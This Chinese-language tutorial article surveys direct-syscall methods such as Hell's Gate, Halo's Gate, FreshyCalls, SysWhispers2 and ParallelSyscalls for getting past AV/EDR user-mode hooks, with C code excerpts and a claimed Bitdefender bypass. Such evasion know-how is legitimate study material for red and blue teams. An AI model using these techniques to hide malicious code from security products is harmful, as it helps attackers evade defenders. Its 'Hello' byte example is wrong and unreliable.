最近在面试一些人的免杀问题时总会谈到syscall,但对于一些检测、细节、绕过检测反而没有说的很清楚,本文简单总结一些syscall的方式,来帮你唬过面试官。
简介
目前syscall已经成为了绕过AV/EDR所使用的主流方式,可以用它绕过一些敏感函数的调用监控(R3)。主流的AV/EDR都会对敏感函数进行HOOK,而syscall则可以用来绕过该类检测。
Hook一般放置在kernel32.dll、kernelbase.dl、ntdll.dll之中,在EDR环境中,如果调用的函数被 HOOK,则跳转到EDR的dll之中,该dll一般在进程启动时被加载。这里拿Bitdefender Antivirus 进行测 试。
这是一个简单的测试代码:
#include <Windows.h>
#include <iostream>
int main() {
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;
memset(&sinfo, 0, sizeof(STARTUPINFO));
memset(&pinfo, 0, sizeof(PROCESS_INFORMATION));
sinfo.dwFlags = STARTF_USESHOWWINDOW; s
info.wShowWindow = SW_SHOWMAXIMIZED;
BOOL bSucess = CreateProcess(L"C:\\Windows\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_DEFAULT_ERROR_MODE, NULL, NULL, &sinfo, &pinfo);
std::cout << "Hello World!\n";
}
当进程启动时会加载Bitdefender的dll,即atcuf64.dll
如果进行调试则可以看到atcuf64的调用:
EDR一般会对多个函数进行HOOK,常见的Hook手段有JMP、EAT、GPA,Bitdefender的HOOK列表 可以在这里找到:https://github.com/Mr-Un1k0d3r/EDRs/blob/main/bitdefender.txt,而针对性的 Unhook可以在此处找到:https://github.com/plackyhacker/Unhook-BitDefender 除了这种手动检测 之外可以编写代码进行批量测试,主要测试逻辑如下
if (correct_bytes[0] == assemblyBytes[0] && correct_bytes[1] == assemblyBytes[1] && correct_bytes[2] == assemblyBytes[2] && correct_bytes[3] == assemblyBytes[3]) { printf( "\t[*]%s has NOT been hooked!\n", szExportedFunctionName ); nClean++; } else { printf("\t[*] %s HAS been hooked!\n", szExportedFunctionName); printf("\t\t"); }
效果
windows下函数的调用流程是
OpenProcess() [Kernel32] -> OpenProcess() [Kernelbase] -> NtOpenProcess() [Ntdll] -> Direct syscall to the kernel -> | Kernel Mode |
在执行流程中以Nt和Zw开头的Ntdll函数进行执行,他们后的代码都在内核中运行。
所以直接系统调用是R3执行的后一步,将函数执行转发给R0。整个过程 唯一的区别就是EAX中的数字,也就是syscall number,不同操作系统版本之间syscall number不同。可以参考https://j00ru.vexillium.org/syscalls/nt/64/
即下面这种形式:
0x4c 0x8b 0xd1 0xb8 0xZZ 0xZZ 0x00 0x00
所以为了绕过HOOK,我们可以使用Syscall。使用前提为:
查找DLL地址
此类操作我们需要用到PEB_LDR_DATA中的InMemoryOrderModuleList,说白了还是PEB、TEB的使 用。
typedef struct _LIST_ENTRY { struct _LIST_ENTRY *Flink; struct _LIST_ENTRY *Blink; } LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;
PEB_LDR_DATA的InMemoryOrderModuleList.Flink指向第一个模块加载的InMemoryOrderLinks, InMemoryOrderLinks在LDR_DATA_TABLE_ENTRY结构体之中,而模块加载信息都在 _LDR_DATA_TABLE_ENTRY中。
typedef struct _LDR_DATA_TABLE_ENTRY { PVOID Reserved1[2]; LIST_ENTRY InMemoryOrderLinks; PVOID Reserved2[2]; PVOID DllBase; // Base address of the module in memory PVOID EntryPoint; PVOID Reserved3; UNICODE_STRING FullDllName; // Full path + name of the dll BYTE Reserved4[8]; PVOID Reserved5[3]; union { ULONG CheckSum; PVOID Reserved6; }; ULONG TimeDateStamp; } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
如果我们想浏览每个模块,我们只需要跳转到每个InMemoryOrderLinks.Flink。在 _LDR_DATA_TABLE_ENTRY结构中,我们可以检索到模块的基本地址和它的名称等。更详细的信息可以 查看:https://mohamed-fakroud.gitbook.io/red-teamings-dojo/shellcoding/leveraging-from-pe-pa rsing-technique-to-write-x86-shellcode
解析导出地址表 (EAT)
一旦我们检索到 Dll 基地址,我们需要找到目标函数的地址。为此,我们必须解析 DLL 的导出部分以 找到Export Address Table(EAT)。包含 DLL的EAT所有函数地址。这个工作可以交给_IMAGE_EXPORT_DIRECTORY,其架构体如下:
typedef struct _IMAGE_EXPORT_DIRECTORY { DWORD Characteristics; DWORD TimeDateStamp; WORD MajorVersion; WORD MinorVersion; DWORD Name; // The name of the Dll DWORD Base; // Number to add to the values found in AddressOfNameOrdinals to retrieve the "real" Ordinal number of the function (by real I mean used to call it by ordinals). DWORD NumberOfFunctions; // Number of all exported functions DWORD NumberOfNames; // Number of functions exported by name DWORD AddressOfFunctions; // Export Address Table. Address of the functions addresses array. DWORD AddressOfNames; // Export Name table. Address of the functions names array. DWORD AddressOfNameOrdinals; // Export sequence number table. Address of the Ordinals (minus the value of Base) array. } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
调用Syscall
有了上面的内容,下面就是进行动态查找syscall number和调用syscall ,下面是一些常见的Syscall技 术
(https://github.com/jthuraisamy/SysWhispers不在其中)。
Hell’s Gate:地狱之门
地址之门,项目地址为:https://github.com/am0nsec/HellsGate、项目简介地址:
https://vxug.fak edoma.in/papers/VXUG/Exclusive/HellsGate.pdf 利用代码动态查找0x4c 0x8b 0xd1 0xb8 0xZZ 0xZZ 0x00 0x00:
也就是函数从 RCX 寄存器移入 R10 寄存器,然后将系统调用移入 EAX,与自带的asm文件对应:
测试结果,未能绕过Bitdefender (shellcode为手写的shellcode不存在被杀的问题):
Halo’s Gate:光环之门
光环之门主要是为了防止当mov r10,rcx被HOOK时地狱之门失效的问题。项目地址为:https://blog. sektor7.net/#!res/2021/halosgate.md 成熟的项目为:https://github.com/boku7/AsmHalosGate 其 思路为syscall stub中的 syscall ID 是彼此递增的!这意味着,例如,如果你被钩住了,但下面的下一个 函数没有,你只需要检索它的系统调用并减去 1 即可获得当前函数的系统调用。
代码如下:
Tartarus Gate:塔尔塔罗斯之门
在光环之门的基础上增加了一些asm混淆。从:
变成了:
项目地址为:https://github.com/trickster0/TartarusGate
FreshyCalls
mdsec新出的一种syscall的方式,项目地址:https://github.com/crummie5/FreshyCalls 文章地 址:https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-syst em-calls-for-red-teams/ 主要思路为从函数地址中获取Syscall ID。在调试器中按照地址排序,ID号递增
所以我们可以将Nt函数的地址进行排序,便可以在不解析syscall stub 的情况下获取syscall id。实现 代码如下:
for (size_t i = 0; i < export_dir->NumberOfNames; i++) { function_name = reinterpret_cast<const char *>(ntdll_base + names_table[i]);
// If the name of the function start with "Nt" and don't start with "Ntdll" // we retrieve the info if (function_name.rfind("Nt", 0) == 0 && function_name.rfind("Ntdll", 0) == std::string::npos) { stub_ordinal = names_ordinals_table[i]; stub_address = ntdll_base + functions_table[stub_ordinal]; // We put the RVA as a key and the function name as the value. // This is a sorted map. // The elements are automatically sorted using the key value. // This means that when all the Nt function will be loaded, // the first element will be the Nt function with the lowest address // and the last the one with the biggest address. stub_map.insert({stub_address, function_name}); } }
// `stub_map` is ordered from lowest to highest using the stub address. Syscalls numbers are // assigned using this ordering too. The lowest stub address will be the stub with the lowest // syscall number (0 in this case). We just need to iterate `stub_map` and iterate the syscall // number on every iteration.
static inline void ExtractSyscallsNumbers() noexcept { uint32_t syscall_no = 0; // The stub_map filled previously in the code presented above for (const auto &pair: stub_map) { //Creation of a map associating function name and syscall identifier. syscall_map.insert({pair.second, syscall_no}); syscall_no++; } };
Syswhispers2
与FreshyCalls基本相同,项目地址如下:https://github.com/jthuraisamy/SysWhispers2 只是把Nt 换成了zw,nt与zw的区别参考:https://docs.microsoft.com/en-us/windows-hardware/drivers/kern el/using-nt-and-zw-versions-of-the-native-system-services-routines
实现代码如下:
DWORD i = 0;
/*
//For info. It's in the header file.
typedef struct _SW2_SYSCALL_ENTRY
{
DWORD Hash;
DWORD Address;
} SW2_SYSCALL_ENTRY, *PSW2_SYSCALL_ENTRY;
#define SW2_MAX_ENTRIES 500
*/
PSW2_SYSCALL_ENTRY Entries = SW2_SyscallList.Entries;
do
{
// Retrieve function name from the Dll.
PCHAR FunctionName = SW2_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);
// Check if the function name starts with "Zw"
if (*(USHORT*)FunctionName == 'wZ')
{
// If yes, hash the name (for AV/EDR/Malware Analyst evasion reasons) and put it in an Entries element
Entries[i].Hash = SW2_HashSyscall(FunctionName);
// Put also the address of the function
Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];
i++;
if (i == SW2_MAX_ENTRIES) break;
}
} while (--NumberOfNames);
// Save total number of system calls found.
SW2_SyscallList.Count = i;
// Sort the list by address in ascending order.
for (i = 0; i < SW2_SyscallList.Count - 1; i++)
{
for (DWORD j = 0; j < SW2_SyscallList.Count - i - 1; j++)
{
if (Entries[j].Address > Entries[j + 1].Address)
{
// Swap entries.
SW2_SYSCALL_ENTRY TempEntry;
TempEntry.Hash = Entries[j].Hash;
TempEntry.Address = Entries[j].Address;
Entries[j].Hash = Entries[j + 1].Hash;
Entries[j].Address = Entries[j + 1].Address;
Entries[j + 1].Hash = TempEntry.Hash;
Entries[j + 1].Address = TempEntry.Address;
}
}
}
return TRUE;
}
ParallelSyscalls
也是一种由mdsec提出的方式,项目地址:https://github.com/mdsecactivebreach/ParallelSyscalls 文章地址:https://www.mdsec.co.uk/2022/01/edr-parallel-asis-through-analysis/ 主要思路为利用 LdrpThunkSignature 恢复系统调用。实现代码如下
BOOL InitSyscallsFromLdrpThunkSignature()
{
PPEB Peb = (PPEB)__readgsqword(0x60);
PPEB_LDR_DATA Ldr = Peb->Ldr;
PLDR_DATA_TABLE_ENTRY NtdllLdrEntry = NULL;
for (PLDR_DATA_TABLE_ENTRY LdrEntry = (PLDR_DATA_TABLE_ENTRY)Ldr->InLoadOrderModuleList.Flink;
LdrEntry->DllBase != NULL;
LdrEntry = (PLDR_DATA_TABLE_ENTRY)LdrEntry->InLoadOrderLinks.Flink)
{
if (_wcsnicmp(LdrEntry->BaseDllName.Buffer, L"ntdll.dll", 9) == 0)
{
// got ntdll
NtdllLdrEntry = LdrEntry;
break;
}
}
if (NtdllLdrEntry == NULL)
{
return FALSE;
}
PIMAGE_NT_HEADERS ImageNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)NtdllLdrEntry->DllBase + ((PIMAGE_DOS_HEADER)NtdllLdrEntry->DllBase)->e_lfanew);
PIMAGE_SECTION_HEADER SectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)&ImageNtHeaders->OptionalHeader + ImageNtHeaders->FileHeader.SizeOfOptionalHeader);
ULONG_PTR DataSectionAddress = NULL;
DWORD DataSectionSize;
for (WORD i = 0; i < ImageNtHeaders->FileHeader.NumberOfSections; i++)
{
if (!strcmp((char*)SectionHeader[i].Name, ".data"))
{
DataSectionAddress = (ULONG_PTR)NtdllLdrEntry->DllBase + SectionHeader[i].VirtualAddress;
DataSectionSize = SectionHeader[i].Misc.VirtualSize;
break;
}
}
DWORD dwSyscallNo_NtOpenFile = 0, dwSyscallNo_NtCreateSection = 0, dwSyscallNo_NtMapViewOfSection = 0;
if (!DataSectionAddress || DataSectionSize < 16 * 5)
{
return FALSE;
}
for (UINT uiOffset = 0; uiOffset < DataSectionSize - (16 * 5); uiOffset++)
{
if (*(DWORD*)(DataSectionAddress + uiOffset) == 0xb8d18b4c &&
*(DWORD*)(DataSectionAddress + uiOffset + 16) == 0xb8d18b4c &&
*(DWORD*)(DataSectionAddress + uiOffset + 32) == 0xb8d18b4c &&
*(DWORD*)(DataSectionAddress + uiOffset + 48) == 0xb8d18b4c &&
*(DWORD*)(DataSectionAddress + uiOffset + 64) == 0xb8d18b4c)
{
dwSyscallNo_NtOpenFile = *(DWORD*)(DataSectionAddress + uiOffset + 4);
dwSyscallNo_NtCreateSection = *(DWORD*)(DataSectionAddress + uiOffset + 16 + 4);
dwSyscallNo_NtMapViewOfSection = *(DWORD*)(DataSectionAddress + uiOffset + 64 + 4);
break;
}
}
if (!dwSyscallNo_NtOpenFile)
{
return FALSE;
}
ULONG_PTR SyscallRegion = (ULONG_PTR)VirtualAlloc(NULL, 3 * MAX_SYSCALL_STUB_SIZE, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!SyscallRegion)
{
return FALSE;
}
NtOpenFile = (FUNC_NTOPENFILE)BuildSyscallStub(SyscallRegion, dwSyscallNo_NtOpenFile);
NtCreateSection = (FUNC_NTCREATESECTION)BuildSyscallStub(SyscallRegion + MAX_SYSCALL_STUB_SIZE, dwSyscallNo_NtCreateSection);
NtMapViewOfSection = (FUNC_NTMAPVIEWOFSECTION)BuildSyscallStub(SyscallRegion + (2* MAX_SYSCALL_STUB_SIZE), dwSyscallNo_NtMapViewOfSection);
return TRUE;
}
缺点是会在加载处显示两个ntdll。
绕过syscall检测
下面是一些针对syscall检测的绕过方法。
int2Eh法
来源:https://captmeelo.com/redteam/maldev/2021/11/18/av-evasion-syswhisper.html 就是把 syscall关键字换成了int 2eh
Egg Hunting
因为调用syscall的过程基本都是固定的,所以我们可以更改其行为逻辑。
在汇编中我们可以使用DB进行字节插入,比如“Hello”,我们便可以:
DB 77h ; 'H' DB 0h ; 'e' DB 0h ; 'l' DB 74h ; 'l' DB 0h ; 'o'
使用这个技巧,我们可以放置一系列已知字节(egg)作为syscall指令的占位符,并在运行时替换 它。比如这样:
结果
增加syscall混淆后,成功绕过bitdefender